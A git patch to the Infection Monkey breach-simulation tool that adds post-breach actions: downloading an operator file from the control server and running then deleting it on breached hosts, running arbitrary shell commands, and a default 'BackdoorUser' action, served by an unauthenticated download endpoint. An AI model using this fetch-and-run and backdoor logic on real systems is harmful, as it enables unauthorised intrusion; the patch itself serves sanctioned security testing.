From d539f2301c5a4180f7d981e4dbbea08d44958b74 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 15 Feb 2019 15:56:20 +0200 Subject: [PATCH] Separating my post breach from previous post breach --- monkey/infection_monkey/config.py | 12 ++- monkey/infection_monkey/example.conf | 5 +- monkey/infection_monkey/model/host.py | 3 - monkey/infection_monkey/monkey.py | 2 +- .../post_breach/file_execution.py | 8 ++ monkey/infection_monkey/post_breach/pba.py | 38 +++++++ .../post_breach/post_breach.py | 60 ----------- .../post_breach/post_breach_handler.py | 102 ++++++++++++++++++ monkey/monkey_island/cc/app.py | 2 + .../cc/resources/pba_file_download.py | 14 +++ monkey/monkey_island/cc/services/config.py | 47 ++++++++ .../cc/services/config_schema.py | 79 +++++++++++++- monkey/monkey_island/cc/services/node.py | 2 +- .../ui/src/components/pages/ConfigurePage.js | 14 ++- .../cc/ui/src/components/pages/ReportPage.js | 4 + .../report-components/BreachedServers.js | 8 +- .../report-components/PostBreach.js | 53 +++++++++ 17 files changed, 372 insertions(+), 81 deletions(-) create mode 100644 monkey/infection_monkey/post_breach/file_execution.py create mode 100644 monkey/infection_monkey/post_breach/pba.py delete mode 100644 monkey/infection_monkey/post_breach/post_breach.py create mode 100644 monkey/infection_monkey/post_breach/post_breach_handler.py create mode 100644 monkey/monkey_island/cc/resources/pba_file_download.py create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 65015b76c..a08e17fe5 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -20,6 +20,7 @@ class Configuration(object): # now we won't work at <2.7 for sure network_import = importlib.import_module('infection_monkey.network') exploit_import = importlib.import_module('infection_monkey.exploit') + post_breach_import = importlib.import_module('infection_monkey.post_breach') unknown_items = [] for key, value in formatted_data.items(): @@ -36,6 +37,9 @@ class Configuration(object): elif key == 'exploiter_classes': class_objects = [getattr(exploit_import, val) for val in value] setattr(self, key, class_objects) + elif key == 'post_breach_actions': + class_objects = [getattr(post_breach_import, val) for val in value] + setattr(self, key, class_objects) else: if hasattr(self, key): setattr(self, key, value) @@ -266,7 +270,13 @@ class Configuration(object): extract_azure_creds = True - post_breach_actions = {} + post_breach_actions = [] + custom_post_breach = {"linux": "", + "windows": "", + "linux_file": None, + "windows_file": None, + "linux_file_info": None, + "windows_file_info": None} WormConfiguration = Configuration() diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index b3b44c585..fee397f2e 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -8,7 +8,7 @@ ], "keep_tunnel_open_time": 60, "subnet_scan_list": [ - + ], "inaccessible_subnets": [], "blocked_ips": [], @@ -97,5 +97,6 @@ "use_file_logging": true, "victims_max_exploit": 7, "victims_max_find": 30, - "post_breach_actions" : [] + "post_breach_actions" : [], + "custom_post_breach" : { "linux": "", "windows": "", "linux_file": "", "windows_file": "" } } diff --git a/monkey/infection_monkey/model/host.py b/monkey/infection_monkey/model/host.py index 3d8c3d0e6..dcc6e7455 100644 --- a/monkey/infection_monkey/model/host.py +++ b/monkey/infection_monkey/model/host.py @@ -46,6 +46,3 @@ class VictimHost(object): def set_default_server(self, default_server): self.default_server = default_server - - def is_linux(self): - return 'linux' in self.os['type'] diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index c03b29700..039052ad0 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -16,7 +16,7 @@ from infection_monkey.network.network_scanner import NetworkScanner from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton from infection_monkey.windows_upgrader import WindowsUpgrader -from infection_monkey.post_breach.post_breach import PostBreach +from infection_monkey.post_breach.post_breach_handler import PostBreach __author__ = 'itamar' diff --git a/monkey/infection_monkey/post_breach/file_execution.py b/monkey/infection_monkey/post_breach/file_execution.py new file mode 100644 index 000000000..ef575d8cc --- /dev/null +++ b/monkey/infection_monkey/post_breach/file_execution.py @@ -0,0 +1,8 @@ +from infection_monkey.post_breach.pba import PBA + + +class FileExecution(PBA): + def __init__(self, file_path): + linux_command = "chmod 110 {0} ; {0} ; rm {0}".format(file_path) + win_command = "{0} & del {0}".format(file_path) + super(FileExecution, self).__init__("File execution", linux_command, win_command) diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py new file mode 100644 index 000000000..ab639c536 --- /dev/null +++ b/monkey/infection_monkey/post_breach/pba.py @@ -0,0 +1,38 @@ +import logging +from infection_monkey.control import ControlClient +import subprocess + +LOG = logging.getLogger(__name__) + + +# Post Breach Action container +class PBA(object): + def __init__(self, name="unknown", linux_command="", windows_command=""): + self.linux_command = linux_command + self.windows_command = windows_command + self.name = name + + def run(self, is_linux): + if is_linux: + command = self.linux_command + exec_funct = self.execute_linux + else: + command = self.windows_command + exec_funct = self.execute_win + try: + ControlClient.send_telemetry('post_breach', {'command': command, + 'output': exec_funct(), + 'name': self.name}) + return True + except subprocess.CalledProcessError as e: + ControlClient.send_telemetry('post_breach', {'command': command, + 'output': "Couldn't execute post breach command: %s" % e, + 'name': self.name}) + LOG.error("Couldn't execute post breach command: %s" % e) + return False + + def execute_linux(self): + return subprocess.check_output(self.linux_command, shell=True) if self.linux_command else False + + def execute_win(self): + return subprocess.check_output(self.windows_command, shell=True) if self.windows_command else False diff --git a/monkey/infection_monkey/post_breach/post_breach.py b/monkey/infection_monkey/post_breach/post_breach.py deleted file mode 100644 index c3b6d40f9..000000000 --- a/monkey/infection_monkey/post_breach/post_breach.py +++ /dev/null @@ -1,60 +0,0 @@ -import logging -import infection_monkey.config -import subprocess -import platform -from infection_monkey.control import ControlClient - -LOG = logging.getLogger(__name__) - -__author__ = 'VakarisZ' - - -# Class that handles post breach action execution -class PostBreach(object): - def __init__(self): - self.pba_list = PostBreach.config_to_pba_list(infection_monkey.config.WormConfiguration) - - def execute(self): - for pba in self.pba_list: - pba.run() - - @staticmethod - def config_to_pba_list(config): - """ - Should return a list of PBA's generated from config. After ATT&CK is implemented this will pick - which PBA's to run. - """ - pba_list = [] - # Get custom PBA command from config - custom_pba_linux = config.post_breach_actions['linux'] if "linux" in config.post_breach_actions else "" - custom_pba_windows = config.post_breach_actions['windows'] if "windows" in config.post_breach_actions else "" - - if custom_pba_linux or custom_pba_windows: - pba_list.append(PBA('custom_pba', custom_pba_linux, custom_pba_windows)) - return pba_list - - -# Post Breach Action container -class PBA(object): - def __init__(self, name="unknown", linux_command="", windows_command=""): - self.linux_command = linux_command - self.windows_command = windows_command - self.name = name - - def run(self): - if platform.system() == 'Windows': - ControlClient.send_telemetry('post_breach', {'command': self.windows_command, - 'output': self.execute_win(), - 'name': self.name}) - else: - ControlClient.send_telemetry('post_breach', {'command': self.linux_command, - 'output': self.execute_linux(), - 'name': self.name}) - return False - - def execute_linux(self): - return subprocess.check_output(self.linux_command, shell=True) if self.linux_command else False - - def execute_win(self): - return subprocess.check_output(self.windows_command, shell=True) if self.windows_command else False - diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py new file mode 100644 index 000000000..b43832bd0 --- /dev/null +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -0,0 +1,102 @@ +import logging +import infection_monkey.config +import platform +from infection_monkey.control import ControlClient +import infection_monkey.monkeyfs as monkeyfs +from infection_monkey.config import WormConfiguration +import requests +import shutil +import os +from file_execution import FileExecution +from pba import PBA + +LOG = logging.getLogger(__name__) + +__author__ = 'VakarisZ' + +DOWNLOAD_CHUNK = 1024 + + +# Class that handles post breach action execution +class PostBreach(object): + def __init__(self): + self.os_is_linux = False if platform.system() == 'Windows' else True + self.pba_list = self.config_to_pba_list(infection_monkey.config.WormConfiguration) + + def execute(self): + for pba in self.pba_list: + pba.run(self.os_is_linux) + + def config_to_pba_list(self, config): + """ + Should return a list of PBA's generated from config. After full implementation this will pick + which PBA's to run. + """ + pba_list = [] + # Get custom PBA commands from config + custom_pba_linux = config.custom_post_breach['linux'] + custom_pba_windows = config.custom_post_breach['windows'] + + if custom_pba_linux or custom_pba_windows: + pba_list.append(PBA('custom_pba', custom_pba_linux, custom_pba_windows)) + + # Download user's pba file by providing dest. dir, filename and file size + if config.custom_post_breach['linux_file'] and self.os_is_linux: + uploaded = PostBreach.download_PBA_file(PostBreach.get_dest_dir(config, self.os_is_linux), + config.custom_post_breach['linux_file_info']['name'], + config.custom_post_breach['linux_file_info']['size']) + if not custom_pba_linux and uploaded: + pba_list.append(FileExecution("./"+config.custom_post_breach['linux_file_info']['name'])) + elif config.custom_post_breach['windows_file'] and not self.os_is_linux: + uploaded = PostBreach.download_PBA_file(PostBreach.get_dest_dir(config, self.os_is_linux), + config.custom_post_breach['windows_file_info']['name'], + config.custom_post_breach['windows_file_info']['size']) + if not custom_pba_windows and uploaded: + pba_list.append(FileExecution(config.custom_post_breach['windows_file_info']['name'])) + + return pba_list + + @staticmethod + def download_PBA_file(dst_dir, filename, size): + PBA_file_v_path = PostBreach.download_PBA_file_to_vfs(filename, size) + try: + with monkeyfs.open(PBA_file_v_path, "rb") as downloaded_PBA_file: + with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file: + shutil.copyfileobj(downloaded_PBA_file, written_PBA_file) + return True + except IOError as e: + LOG.error("Can not download post breach file to target machine, because %s" % e) + return False + + @staticmethod + def download_PBA_file_to_vfs(filename, size): + if not WormConfiguration.current_server: + return None + try: + dest_file = monkeyfs.virtual_path(filename) + if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)): + return dest_file + else: + download = requests.get("https://%s/api/pba/download/%s" % + (WormConfiguration.current_server, filename), + verify=False, + proxies=ControlClient.proxies) + + with monkeyfs.open(dest_file, 'wb') as file_obj: + for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK): + if chunk: + file_obj.write(chunk) + file_obj.flush() + if size == monkeyfs.getsize(dest_file): + return dest_file + + except Exception as exc: + LOG.warn("Error connecting to control server %s: %s", + WormConfiguration.current_server, exc) + + @staticmethod + def get_dest_dir(config, is_linux): + if is_linux: + return os.path.dirname(config.dropper_target_path_linux) + else: + return os.path.dirname(config.dropper_target_path_win_32) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index ef8410ed9..350c0b861 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -27,6 +27,7 @@ from cc.resources.report import Report from cc.resources.root import Root from cc.resources.telemetry import Telemetry from cc.resources.telemetry_feed import TelemetryFeed +from cc.resources.pba_file_download import PBAFileDownload from cc.services.config import ConfigService __author__ = 'Barak' @@ -116,6 +117,7 @@ def init_app(mongo_url): api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/') api.add_resource(Log, '/api/log', '/api/log/') api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/') + api.add_resource(PBAFileDownload, '/api/pba/download/') api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/') return app diff --git a/monkey/monkey_island/cc/resources/pba_file_download.py b/monkey/monkey_island/cc/resources/pba_file_download.py new file mode 100644 index 000000000..9c39d8f79 --- /dev/null +++ b/monkey/monkey_island/cc/resources/pba_file_download.py @@ -0,0 +1,14 @@ +import json +import logging +import os + +import flask_restful +from flask import request, send_from_directory + +UPLOADS_DIR = "./userUploads" + + +class PBAFileDownload(flask_restful.Resource): + # Used by monkey. can't secure. + def get(self, path): + return send_from_directory(UPLOADS_DIR, path) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index ae5755174..76a67a3c4 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -4,6 +4,9 @@ import functools import logging from jsonschema import Draft4Validator, validators from six import string_types +from werkzeug.utils import secure_filename +import os +import base64 from cc.database import mongo from cc.encryptor import encryptor @@ -33,6 +36,7 @@ ENCRYPTED_CONFIG_STRINGS = \ ['cnc', 'aws_config', 'aws_secret_access_key'] ] +UPLOADS_DIR = './monkey_island/cc/userUploads' class ConfigService: default_config = None @@ -138,6 +142,8 @@ class ConfigService: @staticmethod def update_config(config_json, should_encrypt): + if 'custom_post_breach' in config_json['monkey']['behaviour']: + ConfigService.add_PBA_files(config_json['monkey']['behaviour']['custom_post_breach']) if should_encrypt: try: ConfigService.encrypt_config(config_json) @@ -281,3 +287,44 @@ class ConfigService: pair['public_key'] = encryptor.dec(pair['public_key']) pair['private_key'] = encryptor.dec(pair['private_key']) return pair + + @staticmethod + def add_PBA_files(post_breach_files): + """ + Interceptor of config saving process that uploads PBA files to server + and saves filenames and sizes in config instead of full file. + :param post_breach_files: Data URL encoded files + """ + # If any file is uploaded + if any(file_name in post_breach_files for file_name in ['linux_file', 'windows_file']): + # Create directory for file uploads if not present + if not os.path.exists(UPLOADS_DIR): + os.makedirs(UPLOADS_DIR) + if 'linux_file' in post_breach_files: + linux_name, linux_size = ConfigService.upload_file(post_breach_files['linux_file'], UPLOADS_DIR) + post_breach_files['linux_file_info']['name'] = linux_name + post_breach_files['linux_file_info']['size'] = linux_size + if 'windows_file' in post_breach_files: + windows_name, windows_size = ConfigService.upload_file(post_breach_files['windows_file'], UPLOADS_DIR) + post_breach_files['windows_file_info']['name'] = windows_name + post_breach_files['windows_file_info']['size'] = windows_size + + @staticmethod + def upload_file(file_data, directory): + """ + We parse data URL format of the file and save it + :param file_data: file encoded in data URL format + :param directory: where to save the file + :return: filename of saved file + """ + file_parts = file_data.split(';') + if len(file_parts) != 3 and not file_parts[2].startswith('base64,'): + logger.error("Invalid file format was submitted to the server") + return False + # Strip 'name=' from this field and secure the filename + filename = secure_filename(file_parts[1][5:]) + file_path = os.path.join(directory, filename) + with open(file_path, 'wb') as file_: + file_.write(base64.decodestring(file_parts[2][7:])) + file_size = os.path.getsize(file_path) + return [filename, file_size] diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index ff27cf101..dfc27e510 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -94,6 +94,19 @@ SCHEMA = { } ] }, + "post_breach_acts": { + "title": "Post breach actions", + "type": "string", + "anyOf": [ + { + "type": "string", + "enum": [ + "BackdoorUser" + ], + "title": "Back door user", + }, + ], + }, "finger_classes": { "title": "Fingerprint class", "type": "string", @@ -282,26 +295,84 @@ SCHEMA = { "type": "boolean", "default": True, "description": "Is the monkey alive" - } + }, + "post_breach_actions": { + "title": "Post breach actions", + "type": "array", + "uniqueItems": True, + "items": { + "$ref": "#/definitions/post_breach_acts" + }, + "default": [ + "BackdoorUser", + ], + "description": "List of actions the Monkey will run post breach" + }, } }, "behaviour": { "title": "Behaviour", "type": "object", "properties": { - "post_breach_actions": { - "title": "Post breach actions", + "custom_post_breach": { + "title": "Custom post breach actions", "type": "object", "properties": { "linux": { "title": "Linux command", "type": "string", - "description": "Linux command to execute after breaching" + "default": "", + "description": "Linux command to execute after breaching." + }, + "linux_file": { + "title": "Linux file", + "type": "string", + "format": "data-url", + "description": "File to be executed after breaching. " + "If you want custom execution behavior, " + "specify it in 'Linux command' field. " }, "windows": { "title": "Windows command", "type": "string", + "default": "", "description": "Windows command to execute after breaching" + }, + "windows_file": { + "title": "Windows file", + "type": "string", + "format": "data-url", + "description": "File to be executed after breaching. " + "If you want custom execution behavior, " + "specify it in 'Windows command' field. " + }, + "windows_file_info": { + "title": "Windows PBA file info", + "type": "object", + "properties": { + "name": { + "type": "string", + "default": "" + }, + "size": { + "type": "string", + "default": "0" + }, + } + }, + "linux_file_info": { + "title": "Linux PBA file info", + "type": "object", + "properties": { + "name": { + "type": "string", + "default": "" + }, + "size": { + "type": "string", + "default": "0" + }, + } } }, "default": [ diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 68304e60b..0360ae73c 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -143,7 +143,7 @@ class NodeService: "os": NodeService.get_monkey_os(monkey), "dead": monkey["dead"], "domain_name": "", - "post_breach_actions": monkey["post_breach_actions"] + "post_breach_actions": monkey["post_breach_actions"] if "post_breach_actions" in monkey else "" } @staticmethod diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 05e29fde0..078bfccd0 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -59,6 +59,16 @@ class ConfigurePageComponent extends AuthComponent { }) .then(res => res.json()) .then(res => { + // Leave PBA files on external configuration + if ('linux_file' in this.state.configuration.monkey.behaviour.custom_post_breach){ + let linux_file = this.state.configuration.monkey.behaviour.custom_post_breach.linux_file; + res.configuration.monkey.behaviour.custom_post_breach.windows_file = linux_file; + } + if ('windows_file' in this.state.configuration.monkey.behaviour.custom_post_breach){ + let windows_file = this.state.configuration.monkey.behaviour.custom_post_breach.windows_file; + res.configuration.monkey.behaviour.custom_post_breach.linux_file = windows_file; + } + this.setState({ lastAction: 'saved', schema: res.schema, @@ -154,7 +164,7 @@ class ConfigurePageComponent extends AuthComponent { let displayedSchema = {}; const uiSchema = { behaviour: { - post_breach_actions: { + custom_post_breach: { linux: { "ui:widget": "textarea" }, @@ -193,7 +203,7 @@ class ConfigurePageComponent extends AuthComponent { uiSchema={uiSchema} formData={this.state.configuration[this.state.selectedSection]} onSubmit={this.onSubmit} - onChange={this.onChange}> + onChange={this.onChange} >
{ this.state.allMonkeysAreDead ? '' : diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index b5ab30581..643004bd3 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -2,6 +2,7 @@ import React from 'react'; import {Button, Col} from 'react-bootstrap'; import BreachedServers from 'components/report-components/BreachedServers'; import ScannedServers from 'components/report-components/ScannedServers'; +import PostBreach from 'components/report-components/PostBreach'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; import {edgeGroupToColor, options} from 'components/map/MapOptions'; import StolenPasswords from 'components/report-components/StolenPasswords'; @@ -460,6 +461,9 @@ class ReportPageComponent extends AuthComponent {
+
+ +
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js index 02ed3610f..16f445ce9 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js @@ -9,10 +9,6 @@ let renderIpAddresses = function (val) { return
{renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}
; }; -let renderPostBreach = function (val) { - return
{val.map(x =>
Name: {x.name}
Command: {x.command}
Output: {x.output}
)}
; -}; - const columns = [ { Header: 'Breached Servers', @@ -20,9 +16,7 @@ const columns = [ {Header: 'Machine', accessor: 'label'}, {Header: 'IP Addresses', id: 'ip_addresses', accessor: x => renderIpAddresses(x)}, - {Header: 'Exploits', id: 'exploits', accessor: x => renderArray(x.exploits)}, - {Header: 'Post breach actions:', id: 'post_breach_actions', accessor: x => renderPostBreach(x.post_breach_actions)} - + {Header: 'Exploits', id: 'exploits', accessor: x => renderArray(x.exploits)} ] } ]; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js new file mode 100644 index 000000000..105978429 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js @@ -0,0 +1,53 @@ +import React from 'react'; +import ReactTable from 'react-table' + +let renderArray = function(val) { + return
{val.map(x =>
{x}
)}
; +}; + +let renderIpAddresses = function (val) { + return
{renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}
; +}; + +let renderPostBreach = function (val) { + return
{val.map(x =>
Name: {x.name}
Command: {x.command}
Output: {x.output}
)}
; +}; + +let renderMachine = function (val) { + return
{val.label} {renderIpAddresses(val)}
+}; + +const columns = [ + { + Header: 'Post breach actions', + columns: [ + {Header: 'Machine', id: 'machines', accessor: x => renderMachine(x)}, + {Header: 'Post breach actions:', id: 'post_breach_actions', accessor: x => renderPostBreach(x.post_breach_actions)} + ] + } +]; + +const pageSize = 10; + +class PostBreachComponent extends React.Component { + constructor(props) { + super(props); + } + + render() { + let defaultPageSize = this.props.data.length > pageSize ? pageSize : this.props.data.length; + let showPagination = this.props.data.length > pageSize; + return ( +
+ +
+ ); + } +} + +export default PostBreachComponent;